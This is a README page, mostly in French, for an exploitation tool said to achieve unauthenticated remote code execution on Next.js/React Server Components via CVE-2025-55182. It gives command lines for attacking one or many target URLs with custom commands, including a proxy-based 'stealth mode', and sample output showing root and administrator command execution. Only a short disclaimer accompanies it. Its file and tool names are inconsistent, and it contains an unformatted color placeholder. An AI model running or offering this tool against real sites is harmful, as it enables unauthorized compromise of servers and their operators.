@#React2Hell — CVE-2025-55182 Exploit

🔥 Next.js / React Server Remote Code Execution (RCE) Exploit

█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄  ██  ██ ▄▄▄▄▄ ▄▄    ▄▄    
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██▄▄   ██████ ██▄▄  ██    ██    
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ▄▄▄███ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ 
                                                                
{MAGENTA} Next.js/React Server RCE Exploit — CVE-2025-55182
 Author: Ankit Pandey GitHub: https://github.com/ankitspandey07
    🚀  React2Shell — Security Testing Utility  🚀

════════════════════════════════════════════════════════════════════════
usage: new.py [-h] [-u URL] [-l LIST] -c COMMAND [--proxy PROXY] [--proxy-https PROXY_HTTPS]

🚀 Aperçu

React2Hell est un puissant outil d'exploitation conçu pour tester et exploiter CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance affectant Next.js et React Server Actions.

Une vulnérabilité d'exécution de code à distance sans authentification existe dans les versions 19.0.0, 19.1.0, 19.1.1 et 19.2.0 des composants React Server, y compris les paquets suivants : react-server-dom-parcel, react-server-dom-turbopack et react-server-dom-webpack. Le code vulnérable désérialise de manière non sécurisée les charges utiles provenant des requêtes HTTP vers les points de terminaison des fonctions serveur.

✨ Fonctionnalités

🧨 Exécution de code à distance (RCE)
🌐 Scan d'une seule URL / de plusieurs URL
🧩 Exécution de commandes personnalisées
🕵️‍♂️ Mode furtif avec support du proxy
⚡ Rapide, fiable et facile à utiliser

📌 Utilisation

Cible unique

python Scanner.py -u https://target.com -c "whoami"

Cibles multiples (depuis un fichier)

python Scanner.py -l urls.txt -c "whoami"

Avec proxy HTTP (Burp Suite)

python Scanner.py -u https://target.com -c "whoami" --proxy 127.0.0.1:8080

Avec proxy HTTPS

python Scanner.py -u https://target.com -c "whoami" --proxy-https 127.0.0.1:8080

📁 Exemple de urls.txt

http://site1.com
https://site2.com
http://192.168.1.10:3000

🖥️ Exemple de sortie

PS D:\Ankitspandey07\React2Hell> python.exe .\Scanner.py -l .\list.txt -c whoami


█████▄  ▄▄▄▄▄  ▄▄▄   ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄  ██  ██ ▄▄▄▄▄ ▄▄    ▄▄    
██▄▄██▄ ██▄▄  ██▀██ ██▀▀▀   ██    ▄██▀ ██▄▄   ██████ ██▄▄  ██    ██    
██   ██ ██▄▄▄ ██▀██ ▀████   ██   ███▄▄ ▄▄▄███ ██  ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ 
                                                                
{MAGENTA} Next.js/React Server RCE Exploit — CVE-2025-55182
 Author: Ankit Pandey GitHub: https://github.com/ankitspandey07
    🚀  React2Shell — Security Testing Utility  🚀

════════════════════════════════════════════════════════════════════════
[+] Loaded 3 targets
════════════════════════════════════════════════════════════════════════

[→] Target: http://evil.com:3113/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
root
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────

[→] Target: http://example.lab:2000/
[→] Exec:   whoami
[✗] Not vulnerable — Status: 200
────────────────────────────────────────────────────────────────────────

[→] Target: https://tale.lab:3000/
[→] Exec:   whoami
[✓] VULNERABLE — RCE Successful!
------------------------------------------------------------
win-1fl835ovldc\\administrator
------------------------------------------------------------
────────────────────────────────────────────────────────────────────────
[✓] Scan complete — Vulnerable: 2
PS D:\Ankitspandey07\React2Hell>

⚠️ Avertissement

Cet outil est créé strictement à des fins éducatives et de recherche en sécurité. Ne l'utilisez pas sur des systèmes sans autorisation explicite. Vous êtes responsable de vos propres actions.

⭐ Soutenir le projet

Si cet exploit vous a aidé, pensez à laisser une ⭐ sur GitHub ❤️

👤 Auteur

Ankit Pandey ; GitHub : https://github.com/Ankitspandey07

Fabriqué avec 🔥 par quelqu'un qui est un pentester fier et passionné, qui s'épanouit en apprenant à chaque étape du chemin.

React2Shell

Populaires